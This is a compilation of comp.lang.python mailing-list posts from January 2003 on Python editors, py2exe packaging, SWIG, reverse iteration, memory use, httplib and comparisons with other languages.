Bengt Richter



From knightsofspamalot-factotum at gvdnet.dk  Fri Jan  3 14:26:13 2003
From: knightsofspamalot-factotum at gvdnet.dk (Martin Christensen)
Date: Fri, 03 Jan 2003 20:26:13 +0100
Subject: Best Python editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk>
 <6lea1vop870pak8iuohinerilg304sd493@4ax.com>
 <slrnb19vmq.h00.grey@teleute.dmiyu.org> <87d6neay90.fsf@gvdnet.dk>
 <slrnb1bnuk.o8n.grey@teleute.dmiyu.org>
Message-ID: <87vg169gru.fsf@gvdnet.dk>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

>>>>> "Steve" == Steve Lamb <grey at despair.dmiyu.org> writes:
Steve> I doubt we'll ever see a newsreader and email client in
Steve> vim's scripting lanuage.

Who knows? Compared to Emacs, the idea of expanding Vim is still
rather new. It was a long time before mail and news clients were
written for Emacs.

Steve> BTW, pick one.  It has four that I am aware of and three of
Steve> them are discussed here heavilty.  Perl, Python and Ruby.

The same goes for Emacs, though none of the alternatives enjoy the
popularity of ELisp. I take it something of the same is true for Vim.
Personally I've hacked enough ELisp to know that once you get the hang
of it, it's very easy to work with, but from a purist's view it's
still ugly as sin. There's some talk of replacing ELisp with Guile in
the official version, which is a change I'd welcome. I'd still prefer
Python or a similar language to be the replacement, since these can
take the best from the functional and imperative worlds respectively
without looking like a garbled mess, and for an editor, both paradigms
are very useful.

Steve> As I said before, it is the penchant for craming everything and
Steve> the kitchen sink into the editor which has no business being
Steve> there.

If you don't like them, don't load them. As for their having "no
business being there", that's your opinion, and you, like anyone else,
are free to disregard them. Your argument makes no more sense to me
than claiming that Python or Java are bloated for having large
standard libraries.

Martin

- -- 
Homepage:       http://www.cs.auc.dk/~factotum/
GPG public key: http://www.cs.auc.dk/~factotum/gpgkey.txt
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Using Mailcrypt+GnuPG <http://www.gnupg.org>

iEYEARECAAYFAj4V49UACgkQYu1fMmOQldWD5ACfYCZ5lLgqvPxp7/xDJxdwovrL
xHYAnjY0B1/aljcrxvvDg/GLDDtRBlYv
=n47Z
-----END PGP SIGNATURE-----



From theller at python.net  Fri Jan 31 12:38:55 2003
From: theller at python.net (Thomas Heller)
Date: 31 Jan 2003 18:38:55 +0100
Subject: Implicit lists
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <200301301823.54257.aleax@aleax.it> <3E39EF53.2050206@tismer.com> <200301310815.52803.aleax@aleax.it> <mailman.1044024304.31027.python-list@python.org> <of5x8hdd.fsf@python.net> <mailman.1044031628.28902.python-list@python.org>
Message-ID: <y9516wy8.fsf@python.net>

Christian Tismer <tismer at tismer.com> writes:

> Thomas Heller wrote:
> > Christian Tismer <tismer at tismer.com> writes:
> 
> [iscontainer implementation using buffer interface]
> 
> >>I'm (ab)using the fact that sequences which are
> >>no containers usually support the buffer interface.
> 
> > This is worse, IMO.
> > ctypes' instances support the buffer interface, whether
> 
> > they are sequences (or containers) or not.
> 
> After second thought, this is not worse, but great!
> Nobody wants to see ctypes instances to be
> used as containers for multiple arguments.
> This is the domain of relatives of lists and tuples
> and other, "plain Python" types.


> 
> Is there an object in ctypes which is meant as
> a candidate for this domain? If not, then the
> buffer approach is not so bad.

Sure, something very similar to array.array('i'),
but with fixed length.
The way I see it, this is a container for integers,
but stored more efficiently maybe, and 'meaningful'
to C code at the same time.

> A buffer means something to access the interior
> of an object, which means that the object has
> some flat memory somewhere. If you support
> buffer, I think you say you are not a container.

No, I don't think so.  'buffer' only says something
about the internal implementation of the object.
Being able to iterate over array.array instances, for
example, is really useful.  Image you would always
have to convert it to a list or tuple before.

> Even if this is cheating, I'd take this as honest
> and won't take you as a parameter list. :-)

Back to the original problem, the OP wanted to decide
IIRC if he's got a single object, or a container.

Only Python strings are a problem here, so IMO a stringlike
test like Alex suggested is what is wanted.

Thomas



From richie at entrian.com  Mon Jan 13 09:48:48 2003
From: richie at entrian.com (Richie Hindle)
Date: 13 Jan 2003 06:48:48 -0800
Subject: Join our Programming community?
References: <mailman.1042304241.16179.python-list@python.org> <om2dnQcy3OMt9b2jXTWc3g@comcast.com>
Message-ID: <8a6ba1da.0301130648.649d6ccc@posting.google.com>

[Terry] 
> Spam Alert! Standard spam intro.  Translation: "Spam follows".
> Probability .9, as estimated by internal Baysian spam filter based on
> +-1000 spam messages and >10000 real messages.

My Spambayes classifier (trained on 800 spam and 600 ham) says:

Spam probability: 0.424847267756 [on a scale of 0-1]

Clues:

message-id:@python.org    0.00328707085464 
header:Organization:1     0.0204792575513 
header:X-Complaints-To:1  0.0240739915861 
community.                0.0652173913043 
programmer                0.0918367346939 
url:forums                0.0918367346939 
subject:Programming       0.155172413793 
[lots of boring stuff in the middle]
join                      0.782260460822 
today                     0.818211859201 
subject:Join              0.836925617583 
alot                      0.844827586207 (are alot of spammers illiterate? 8-)
emailing                  0.908163265306 
spam,                     0.908163265306
email                     0.912218244033 
subject:our               0.949438202247

So our classifier is more cautious than yours.  8-)  Mind you, ours doesn't
work on phrases yet.
 
-- 
Richie Hindle
richie at entrian.com



From richie at entrian.com  Mon Jan  6 08:46:57 2003
From: richie at entrian.com (Richie Hindle)
Date: Mon, 06 Jan 2003 13:46:57 +0000
Subject: Distributing Python apps
References: <SDIR9.8437$8M3.1412642@news20.bellglobal.com> <mailman.1041720609.1880.python-list@python.org>
Message-ID: <4lvi1v03tkpmg4l40amut7e2c22vsdc86p@4ax.com>

[David LeBlanc]
> Taking a quick glance at just Python, I don't think your goal of putting
> Python + app + data on a single 1.44mb floppy is realistic.

But the OP doesn't need to do that - he only needs to ship the pieces
his application needs, which py2exe will extract and InnoSetup will
compress.

> In terms of a download, I'm betting that 2+mb for a runtime only including
> application bytes (binaries and doc) is more likely.

A small but non-trivial Python program, 'compiled' with py2exe and
packaged with InnoSetup, should total less than a megabyte.  Adding a
GUI toolkit will probably take that beyond the 1.44MB mark, but Norm
said "I don't want to deliver on a CD or a floppy.  I want to deliver by
ftp."

For example, a small CGI script called 'xxx.py', which relies on a few
Python standard library modules including 're' and 'socket', compiles
using py2exe to this:

 292643 Dec 11 09:43 xxx.exe
 847920 Oct 14 18:02 python22.dll
  45103 Oct 14 18:02 _socket.pyd
  53292 Oct 14 18:03 _sre.pyd
  36864 Oct 14 18:03 _winreg.pyd

That totals 1,275,822 bytes uncompressed.  The resulting InnoSetup
installer, built with all the default options, is 965,948 bytes.  This
is with Python 2.2.2.

In terms of how much work this is, you need py2exe and InnoSetup, plus
this script for py2exe, which you run with "python setup.py py2exe":

--------------------------- setup.py ---------------------------

from distutils.core import setup
import py2exe
setup(name="xxx.py", scripts=["xxx.py"])

----------------------------------------------------------------

plus an InnoSetup script that takes about a minute to generate using the
InnoSetup wizard (which you can easily use out of the box without
reading the manual, unless you need to do anything out of the ordinary).

[Norm]
> how can I deliver my application to my customers with the least cost?

Hopefully I've answered that question.  Python, py2exe and InnoSetup are
all free (as in both beer and speech).

-- 
Richie Hindle
richie at entrian.com




From sholden at holdenweb.com  Sun Jan 26 21:57:23 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Mon, 27 Jan 2003 02:57:23 GMT
Subject: SQL null conversion
References: <mailman.1043252682.479.python-list@python.org> <slrnb37c03.df8.gerhard.haering@lilith.my-fqdn.de> <b11gr9$lk1$1@wheel2.two14.net>
Message-ID: <ne1Z9.25192$Vh.9750@news2.central.cox.net>

"Martin Maney" <maney at pobox.com> wrote ...
> Gerhard H?ring <gerhard.haering at gmx.de> wrote:
> > Aha. Your problem goes away if you use the DB-API way of quoting.
>
> I would probably like that.  Is it documented anywhere?
>
> > this, it's probably time to read the DB-API specification [1] ;-)
>
> I have.  The basic premise of writing to a more or less database
> independent API appeals to me.  The "specification", however, doesn't
> appear to contain the words "quote", "quoting", "quoted", etc.  :-(
>
> Python seems to call it a "specification" whenever some doc reaches the
> "covers 90% of normal usage" state.  Sometimes that's good enough, but
> I suspect it's at the root of a lot of the half-baked reinventions of
> various wheels that litter the vaults... and many more than never
> become that visible.

This is open source. You are unquestionably right that things aren't always
documented to perfection. You can help by producing updates that new users
will find more comprehensible. And, of course, Python isn't alone in this
respect. I'm hoping that the forthcoming PyCon conference sprint will have
at least part of its focus on the documentation.

regards
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/






From glc at well.com  Sat Jan 18 11:25:26 2003
From: glc at well.com (Greg Chapman)
Date: Sat, 18 Jan 2003 16:25:26 GMT
Subject: iterating in reverse
References: <f57664b9.0301161546.37c85159@posting.google.com>
Message-ID: <utvi2v8910mn9j2v37k5743o8d8v9rmkgh@4ax.com>

On 16 Jan 2003 15:46:32 -0800, jbperez808 at yahoo.com (Jonathan P.) wrote:

>First of all, many thanks to all the people in the list
>who have taken the time to respond to my earlier 
>questions with excellent answers. Now on to the
>problem at hand...
>
>A list's contents are ordered such that:
>
>>>> x=[1,2,3,4,5]
>
>>>> for i in x:
>      print i
>
>will always print x's contents in the
>same sequence.  Is there an elegant and
>efficient way to iterate through x in
>reverse without having to create a reversed
>copy of it (i.e. y=x[:]; y.reverse())?

How about something like this (in 2.3):

def seqiter(seq, *args):
    '''seqiter(seq, [[start], stop, [step]]) -> seq item iterator'''
    if not args:
        xr = xrange(len(seq))
    else:
        slc = slice(*args)
        xr = xrange(*slc.indices(len(seq)))
    for index in xr:
        yield seq[index]

for i in seqiter(x, None, None, -1):
    print i


The above avoids constructing a new list, but it might not be too efficient (I'd
guess that for most lists, it would be better to iterate over the slice, 
e.g. x[::-1]).  Perhaps the list object should grow a new method taking 
([start], stop, [step]) parameters and returning an iterator which produces the
items in the desired order.

---
Greg Chapman




From acid_til at yahoo.com  Wed Jan 29 14:43:38 2003
From: acid_til at yahoo.com (Luc)
Date: Wed, 29 Jan 2003 14:43:38 -0500
Subject: HOWTO : Py_CompileString !?!?!
Message-ID: <v4WZ9.3245$nD1.766715@news20.bellglobal.com>

Hello fellow python user :)

I'm quite new to this so please be kind to my newbie question !!!

I'm trying to embed python in my C++ application. I have a python source 
file names test.py and what I want to do is first try to compile it to 
see if any syntax error or import error occurs.  I tried to use 
Py_CompileString but it seems not to work. I added a syntax error and it 
still report no error. Now I just thought that because it's interpreted, 
does it mean that the error is caught until the script is actually run 
??? If so, is there any method that I could use to detect such error 
without resorting to running the script ???

Thanks in advance for any help.

Luc.




From phr-n2002b at NOSPAMnightsong.com  Wed Jan 15 23:42:44 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 15 Jan 2003 20:42:44 -0800
Subject: Mixing Python and C: any easy way?
References: <CFN376368443311343@news.mindspring.com>
Message-ID: <7x7kd5g0xn.fsf@ruckus.brouhaha.com>

Carl Bevil <carl_bevil at yahoo.com> writes:
> Thing is, I am hesitant to tell the other programmers on the team,
> "You have to learn a new language, which will make development
> faster, but you also have to create special SWIG files for every C++
> header you want to access from this new language, and make sure you
> keep these files up to date with changes you make in your headers,
> etc....".  We have a tight schedule (who doesn't?), so I'm worried
> about efficiency.

SWIG doesn't necessarily need those files if the interface is simple
enough--it can figure out a fair amount all by itself.

> Am I overreacting here?  And is there a better way to do this?  If
> not SWIG, then what can do this task?  Am I asking for the
> impossible?  

There's something called Boost Python but I haven't looked into it
much.  SWIG is primarily for interfacing to C.

> I've heard that Python is supposed to be good at interfacing with
> C/C++.  Can someone give me some pointers that will help me out here?

There's going to be a certain amount of glue required for interfacing
to any extension language.  It's just in the nature of extension
languages.  SWIG takes care of a lot of the hair for you but you
still have to deal with some.



From abelikov72 at hotmail.com  Tue Jan  7 19:40:08 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Wed, 08 Jan 2003 00:40:08 GMT
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com>
Message-ID: <52tm1v8pif6lg0u3n3gjice06fnij3s5m2@4ax.com>

I always liked FTE. Folding Text Editor...



From alpot at mylinuxsite.com  Fri Jan 24 04:44:45 2003
From: alpot at mylinuxsite.com (Alfredo P. Ricafort)
Date: 24 Jan 2003 17:44:45 +0800
Subject: Alternative to os.listdir()/os.stat()
In-Reply-To: <haf13vkfdu6al0h3ult2mu0r0688jq1dcg@4ax.com>
References: <mailman.1043304821.26500.python-list@python.org>
	 <haf13vkfdu6al0h3ult2mu0r0688jq1dcg@4ax.com>
Message-ID: <1043401485.1182.52.camel@localhost.localdomain>

On Fri, 2003-01-24 at 12:15, Tim Roberts wrote:

> You realize, of course that "ls -ltra" does exactly what your loop does?
> The only difference is that it's in C.

Actually, I am considering of calling the 'ls' thru os.exec.  Maybe this
one is faster.

AL





From liaochun at landpage.com.cn  Thu Jan 16 00:42:59 2003
From: liaochun at landpage.com.cn (Baby)
Date: 15 Jan 2003 21:42:59 -0800
Subject: what's the matter with wxPython(Version 2.4.0), It doesn't work crrectly
Message-ID: <b61709d5.0301152142.16f32a48@posting.google.com>

I wrote a test program in wxPython.(The GUI Development  is Boa
constructor ,
version 0.20).I placed a wxButton on a wxFrame, and I produced a 
wxEVT_COMMAND_BUTTON_CLICKED event . Just like this:

      def OnButton1Button(self, event):        
        dlg = wxMessageDialog(self, 'Message',
          'Caption', wxOK | wxICON_INFORMATION)
        try:
            dlg.ShowModal()
        finally:
            dlg.Destroy()        
        event.Skip()
   but when I click the button , the function is performed two times.
I don't know what's matter with it. Who can help me, Thanks a lot.
Sorry my poor English



From skip at pobox.com  Fri Jan 24 18:33:28 2003
From: skip at pobox.com (Skip Montanaro)
Date: Fri, 24 Jan 2003 17:33:28 -0600
Subject: memory leak with large list??
In-Reply-To: <bdb2e78a.0301241435.f0f2cc3@posting.google.com>
References: <bdb2e78a.0301241435.f0f2cc3@posting.google.com>
Message-ID: <15921.52552.157308.262159@montanaro.dyndns.org>

    >> %MEM  RSS  RSS    SZ   VSZ
    >> 46.2 237648 237648 59690 238760

    >> So then delete it.

    >>>> del(big_list)

    >> But the memory footprint of the process remains very large:

    >> %MEM  RSS  RSS    SZ   VSZ
    >> 37.1 190772 190772 47971 191884

    >> Is python leaking memory, or is there something else going on here.

No, this is your platform's malloc() library not returning memory to the
operating system.

    >> I should note, if I just preallocate the list with 0.0:

    >>>> big_list = [0.0] * 12000000

    >> and then delete it, I don't see the leak, but then memory footprint is
    >> smaller than you would expect
    >> from 12 million floats:

    >> %MEM  RSS  RSS    SZ   VSZ
    >>  9.4 48700 48700 12453 49812

    >> So I think python is using a shortcut in this case.

Yes.  a float for 0.0 is allocated once, then referred to from all those
slots.  Consider this example:

    >>> list1 = [0.0] * 5
    >>> list2 = [float(0) for f in xrange(5)]
    >>> list1
    [0.0, 0.0, 0.0, 0.0, 0.0]
    >>> list2
    [0.0, 0.0, 0.0, 0.0, 0.0]
    >>> list1 == list2
    True
    >>> map(id, list1)
    [6355924, 6355924, 6355924, 6355924, 6355924]
    >>> map(id, list2)
    [6355860, 6355908, 6355892, 6355876, 6355844]

Skip




From robert at nowhere.net  Fri Jan 17 16:20:40 2003
From: robert at nowhere.net (Robert Hord)
Date: Fri, 17 Jan 2003 21:20:40 GMT
Subject: data bound controls/Boa
Message-ID: <Is_V9.440$TM2.220@newssvr19.news.prodigy.com>

Coming from a Visual FoxPro world just getting into Python.  VFP has data 
bound controls for your database.  Is there anything like this for Python?  
Also, looking at Boa and gnome-db.  Any comments on these, or are there 
other alternatives?
-- 
reh - Texas,USA
RedHat 8.0
http://flashpages.prodigy.net/rhordjr




From pinard at iro.umontreal.ca  Tue Jan 21 20:48:53 2003
From: pinard at iro.umontreal.ca (Francois Pinard)
Date: 21 Jan 2003 20:48:53 -0500
Subject: Python use growing or shrinking
In-Reply-To: <20030121233331.GA4356@pedos.es>
References: <v2rhpd4d6p8f79@corp.supernews.com>
	<3E2DD270.8CB2FA4A@engcorp.com> <20030121233331.GA4356@pedos.es>
Message-ID: <oqn0luymwq.fsf@alcyon.progiciels-bpi.ca>

[Grzegorz Adam Hankiewicz]

> Do you have a link to a Turing-Complete language? I have here some
> text to process of infinite lentgh... <wink>

Here is a far less demanding exercise.  Merely print ackerman(4, 4):


def ackerman(i, j):
    if i == 0:
        return j + 1
    if j == 0:
        return ackerman(i-1, 1)
    return ackerman(i-1, ackerman(i, j-1))


A bit of inspection and pondering should convince you that this function
always terminate for any non-negative integer i and j.

The most aggressive arithmetic operation above, which might increase the
value of the result, is the mere addition of `1'.  Sounds easy enough?
After you publish the answer here, only then should you wander into
something fundamentally bigger, like Turing machines :-).

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard




From gson at nominum.com  Wed Jan 22 18:36:27 2003
From: gson at nominum.com (Andreas Gustafsson)
Date: Wed, 22 Jan 2003 15:36:27 -0800 (PST)
Subject: Name space pollution
Message-ID: <200301222336.h0MNaRe29779@guava.araneus.fi>

I'm trying to get Python to coexist with the State Threads library
(http://state-threads.sourceforge.net/), but I'm having problems due
to the fact that Python defines the word "destructor" as a typedef.
Specifically, after including Python.h, the following line in the
State Threads header file st.h does not compile:

  extern int st_key_create(int *keyp, void (*destructor)(void *));

It seems to me that Python should not be polluting the namespace this
way - shouldn't the Python typedef be something like PyDestructor
instead of just "destructor"?

Python also pollutes a number of other common symbols in a similar way,
for example, "cmpfunc", "hashfunc", and "initproc".

Is there any chance this will be fixed?
-- 
Andreas Gustafsson, gson at nominum.com




From akjmicro at yahoo.com  Sat Jan 25 10:51:59 2003
From: akjmicro at yahoo.com (Aaron K. Johnson)
Date: Sat, 25 Jan 2003 09:51:59 -0600
Subject: December 2002 comp.lang.* stats
References: <b0tctd$9cn$1@bob.news.rcn.net> <3E32A7D9.B5B3D214@engcorp.com>
Message-ID: <b0ubqa$oiv$1@bob.news.rcn.net>

In message <3E32A7D9.B5B3D214 at engcorp.com>, Peter Hansen wrote:
> "Aaron K. Johnson" wrote:
> > 
> > What you see below are pure and simple the number of unique posters to
> each
> > comp.lang.whatever hierarchy in December 2002.
> > 
> > comp.lang.java 5347
> > comp.lang.c++ 3075
> > comp.lang.perl 2136
> > comp.lang.javascript 2130
> > comp.lang.python 1996
> > comp.lang.basic 1758
> > comp.lang.c 1670
> > comp.lang.labview 958
> > comp.lang.clipper 922
> ....
> > comp.lang.modula3 30
> > comp.lang.oberon 26
> > comp.lang.modula2 23
> ....
> 
> Thanks Aaron.  I'm forced to admit that these numbers *appear* to 
> correspond to my purely subjective feeling as to the relative
> popularity, in a very vague way, of these languages.   It will
> be interesting - if you can finish refining the script and then
> "lock it down" - to compare the results over time.
> 
> I'm also intrigued by the labview and clipper numbers, which are
> as I understand the only two purely proprietary languages listed.
> National Instruments deserves some credit here, even if it's just
> because LabVIEW is such an abomination to use for complex software
> that it requires much more online help than the others, relative 
> to its actual usage. ;-)
> 
> -Peter

Thanks for your comments Peter. Your original comments were excellent
criticisms that I feel brought the script out of its primitive, unscientific
state of statistical cloudiness! at least now, we have a quasi-scientific
approach. now to the spam problem (I doubt I want to work much more on this
though ;)  )

Best,
Aaron.






From adalke at mindspring.com  Thu Jan  9 01:35:32 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Wed, 08 Jan 2003 23:35:32 -0700
Subject: Novel Thoughts on Scripting and Languages
In-Reply-To: <52719db8.0301082047.287e00b8@posting.google.com>
References: <52719db8.0301062130.5299a0ff@posting.google.com> <mailman.1041979908.27085.python-list@python.org> <52719db8.0301071942.7d23cc46@posting.google.com> <avi2jc$o0n$1@slb2.atl.mindspring.net> <52719db8.0301082047.287e00b8@posting.google.com>
Message-ID: <avj5lr$4jf$1@slb3.atl.mindspring.net>

James Huang wrote:
> First off, I don't call "sendMail" an API (but that again may fall
> into the meaningless confusion of what exactly is API, scripting,
> ....). For what you described, you are right, you need to fall back to
> API such as Java's javax.mail.* package, which is used by this
> "sendMail" statement.

Perhaps 'PSI' for "People's Scripting interface" (or "Everyone's"?  ;)
But it is indeed an API.  The people who use it write applications,
and they are programming.  Perhaps script programming, but programming
non the less.


> Obviously, you are an expert in mail programming,

No, I am not.  Not by a long shot.  I chose email because you
posted it as an example.  What I know mostly comes from using
Python's 'email' module.


 > and the situations you described are rather involved.

Indeed they are.  I limited it to your example.  My point is that
people's needs, even those of beginners, can become complicated
quickly.  You say it's rather involved, but suppose Nobuki Per?z
is just starting to use your language to send mail in Japanese
to his Japanese maternal grandparents.

Because I am not an mail expert, I don't know if this is
a problem or not.  I again say that I know the Python API
for handling email allows for multiple characters in the headers,
even multiple character sets in the same line, so I am
conjecturing a reason for why that is needed.


 > It all boils down to probability
> when analyzing computer systems -- what are the probabilities of what
> JudoScript-sendMail can handle and what not. Also, how many people can
> use JudoScript-sendMail, how many use mail API(s)?

Speaking personally, last time I programmed a way to send
email was about 5 years ago.  I have used the email module to
read my mail archive (was playing around with a text indexer)
but that was about it.

> You can specify different character-sets for any of these 3:
> "sendMail", "body" and "htmlBody". I've heard Japanese emails may use
> different encodings for differnet parts, as you described.

I did read your documentation about that functionality before
posting, which is why I explicitly gave a case of multiple
character sets used in the header.  You only allow one for
all the headers.

> JudoScript's extremely-easy-to-use features are not designed for
> non-programmers, but rather for potent programmers especially those
> who know Java. I can program javax.mail.*, big deal, but only if I
> have to.

Ahh, I misunderstood.  In that case I don't find the idea of
JudoScript very interesting.  Jython integrates well with Java,
so I can program to those lower-level APIs directly, and I am
(IMO) a rather potent programmer who can write the higher-level
interfaces pretty quickly.  In addition, my knowledge of Python
is transferable to the C implementation of Python so I can used
non-Java based libraries.  (I work with quite a few C libraries
which have no equivalent Java implementation.)

This is very similar to what Sandy Norton said elsewhere in this thread
] Actually, it first reminded me a little bit of rebol which has
] some nifty high level commands like "send person at address.com
] file.txt". My initial reaction to that was "wow, that's cool... let
] me try rebol out". After a few attempts to use the language, I
] got somewhat frustrated with the syntax and semantics and decided
] to write a module called 'rebol.py' instead, implementing the
] functionality I could use on top of the python standard library
] infrastructure. So now I can write
] >>> from rebol import send
] >>> send('person at address.com', 'file.txt')
]
] My approach to your examples would be similar. I would use
] elements of the python standard library and implement my
] 'preferred level' of abstraction.

I see you have not yet replied to that post.

I also note that in your whitepaper you state:
 > Since Jython is fully capable of Java scripting, why would
 > anyone use a Python module if similar functionality exists in Java?

You provide a high-level but limited way to send email, and say that
people can use the lower-level Java modules for more complicated
tasks.  This implies that people need to choose between two different
way to do similar things.  Yet in your white paper you say that
people shouldn't have to choose between two different APIs.

In your whitepaper you say the problems with Jython are that
you must choose between Python's module for something and Java's
module for something.  Isn't that just like real-life where you
need to choose between a half-dozen graphics libraries?  Plus,
you conveniently forget to mention that there are plenty of
libraries in Python which aren't part of the standard Java
distribution.


> It is hard for me to understand why some programmers are so afraid of
> easier ways of doing things (not necessarily you, Andrew, but there is
> an anonymous guy responded to an article on LinuxJournal site). We can
> program does not mean we have to program, unless, perhaps, for job
> security reasons.

Here's some ideas off the top of my head:
   - have you done any testing to show one is easier than the other?
       (for non-trivial, non-contrived tests.  For example, read
        "An empirical comparison of C, C++, Java, Perl, Python, Rezz,
       and Tcl for a search/string-procesing program" at
           http://www.ipd.uka.de/~prechelt/Biblio/#jccpprtTR
     Without such tests, we have little to go on to believe that
     you have an easier way of doing things.

   - perhaps it isn't easier over the spectrum of tasks that are
     needed, and you are under the persuasion that (quoting Terry
     Reedy earlier in the thread) that "My baby is great".

   - A lot of language announcements have the same sort of "this is
      much easier than existing languages" flavor -- and you haven't
      convinced us otherwise.

   - You write a new language but base it only on your knowledge of
      other Java languages, and didn't look at Rebol nor REXX.  Given
      your lack of experience there makes it harder to believe your
      other claims.

   - You misrepresent Python, saying for example that it is weakly-typed
      (which is false) and that the ActiveX interface is another Python
      distribution, rather than simply a Python library.  Again, this
      makes it harder to believe your claims.

   - You misinterpreted other people's posts several times, which means
      you may also misinterpret other's programming needs.

					Andrew
					dalke at dalkescientific.com







From tim.one at comcast.net  Sun Jan 12 15:34:58 2003
From: tim.one at comcast.net (Tim Peters)
Date: Sun, 12 Jan 2003 15:34:58 -0500
Subject: Why doesn't JUMP_IF_FALSE do POP_TOP ?
In-Reply-To: <avshv5$kp8$0@216.39.172.122>
Message-ID: <LNBBLJKPBEHFEDALKOLCGEDPDIAB.tim.one@comcast.net>

[Bengt Richter]
> It seems like usually POP_TOP is the next byte code on either branch.
> Or is there a difficult case where the value is needed on the stack?
> It seems like the 99% case is getting the overhead (and also making the
> polling interval counter count unnecessary codes).

I've been asking that for years <wink>.  The only reak answer is "it seemed
like a good idea at the time".  Chained comparisons exploit it, but offhand
I don't recall anything else.





From max at alcyone.com  Sat Jan 11 04:12:37 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sat, 11 Jan 2003 01:12:37 -0800
Subject: [Python-Dev] [ann] Minimal Python project
References: <mailman.1042273587.30941.python-list@python.org>
Message-ID: <3E1FE005.264F2DFB@alcyone.com>

"Andrew P. Lentvorski, Jr." wrote:

> This will be really great for OS distributions and system
> administration.
> Being able to compile Python with a simple make/gcc combo and not
> requiring a full development environment would be wonderful.

I certainly support the idea of a Minimal Python, but don't see how at
its core it would require any less of a "full" development environment
than the current CPython does.  You'll still need to build it, you'll
still need make and gcc.  I don't recall CPython's build sequence
requiring anything more than make, GCC, install, and perhaps supporting
in-Python material (such as automatically make .pyc files for everything
under the lib directory), and don't see Minimal Python changing that. 
You'll still need make and gcc, you'll still need to install stuff
somewhere and set it up.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ I sleep and dream that life is / All beauty
\__/ Lamya
    CAGE / http://www.alcyone.com/pyos/cage/
 A cellular automaton simulation system in Python.



From pythonhda at yahoo.com.replacepythonwithlinux  Tue Jan  7 19:13:23 2003
From: pythonhda at yahoo.com.replacepythonwithlinux (pythonhda)
Date: Tue, 7 Jan 2003 19:13:23 -0500
Subject: Doesn't work (was: Re: httplib won't accept URL with parameters (???))
References: <avcvi1$5av$03$1@news.t-online.com>
	<20030106220321.49b87b0a.pythonhda@yahoo.com.replacepythonwithlinux>
	<avfgo9$clb$05$1@news.t-online.com>
Message-ID: <20030107191323.72236889.pythonhda@yahoo.com.replacepythonwithlinux>

I'm using python 2.2.1

This works for me...I get the source of the page:

import httplib

USER_AGENT = "Navigator"


class ServerGet:

    def __init__(self, host):
        self.host = host
        
    def fetch(self, path):
        http = httplib.HTTP(self.host)

        # write header
        http.putrequest("GET", path)
        http.putheader("User-Agent", USER_AGENT)
        http.putheader("Host", self.host)
        http.putheader("Accept", "*/*")
        http.endheaders()
        
        # get response
        errcode, errmsg, headers = http.getreply()

        
        file = http.getfile()
        data = file.read()
        http.close()
        return data

CompareServer = ServerGet("www.server.com")
ComparePage = CompareServer.fetch("/grab/database/get-page/link=ddb_benutzt_a/00b-97rt692-8ab6561?view=fixed-thing&field-stuff-type=used&thing-number=3897211920&field-status=open&size=25&rank=+parameter")

print ComparePage

---
Maybe our versions conflict? Check section 11.6.2 in the library reference. It is a little different from your version. I believe you're using an antiquated class "HTTP". The doc string for *me* says: 'Compatibility class with httplib.py from 1.5.'. So not being microsoft, I won't say "Upgrade!" :) - We're probably not speaking the same version...



On Tue, 7 Jan 2003 23:29:30 +0100
Phillip <ritschratsch at gmx.de> wrote:

> pythonhda wrote:
> 
> > See the code changes below...
> 
> >> file = http.getfile()
> >  data = file.read() ####
> > http.close()       ####
> > return data        ####
> >> 
> >> CompareServer = ServerGet("www.server.com")
> >> ComparePage =
> >> 
> CompareServer.fetch("""/grab/database/get-page/link=ddb_benutzt_a/00b-97rt
>         692-8ab6561?view=fixed-thing&field-stuff-type=used&thing-number=
>         3897211920&field-status=open&size=25&rank=+parameter""")
> >> # long URL, I know....
> >> print ComparePage
> 
> Thanks for the help, but:
> This still won't work. Here's the same error I get:
> >>>>>>
> Traceback (most recent call last):
>   File "browse.py", line 166, in ?
>     MyFetch.compare()
>   File "browse.py", line 144, in compare
>     DataFetchWrite.write(CompareServer1.fetch(CompareURL))
>   File "browse.py", line 47, in fetch
>     data = file.read()
> AttributeError: 'None' object has no attribute 'read'
> <<<<<<
> 
> As I said, httplib(!!!) won't return *anything*! Your little addition 
> doesn't repair that. ServerGet seems OK, I don't see your point in copying 
> the stuff - except form maybe closing the connection.
> I just can't figure....any other idea?
> 
> --
> Phillip



From aleax at aleax.it  Thu Jan 30 05:01:43 2003
From: aleax at aleax.it (Alex Martelli)
Date: Thu, 30 Jan 2003 10:01:43 GMT
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <mailman.1043793662.28129.python-list@python.org> <CpFZ9.1212$wd2.100989@newsread2.prod.itd.earthlink.net> <gWOZ9.134330$AA2.5582397@news2.tin.it> <Y%1_9.3865$wd2.302595@newsread2.prod.itd.earthlink.net>
Message-ID: <bK6_9.140709$AA2.5799087@news2.tin.it>

Brandon Van Every wrote:

> Alex Martelli wrote:
>>
>> You assertion is simply false.  I'm an expert in both C++ and Python,
>> and I have experimented writing GUI's with both Qt driven by C++, and
>> PyQt driven by Python: Python's productivity advantage for this task
>> is about a factor of two in my experience --
>>
>> (Personally, I'm more productive CODING a GUI [even in C++ plus
>> Qt...] than PAINTING it [say with Qt Designer] --
>> indeed I'm almost the last person you should want to DESIGN a GUI
>> in the first place -- but, these are totally separate issues).
> 
> You're sending conflicting signals here.  Maybe the middle ground is that
> for your GUI design and coding style, Python is an advantage.  For my GUI
> design and coding style, perhaps not.  I'm quite comfortable with
> designing things visually, using pencil-and-paper as my prototype, and I
> don't often
> design stuff I don't need.  Maybe it's fair to say Python will help *some*
> kinds of coders disproportionately, but not others?

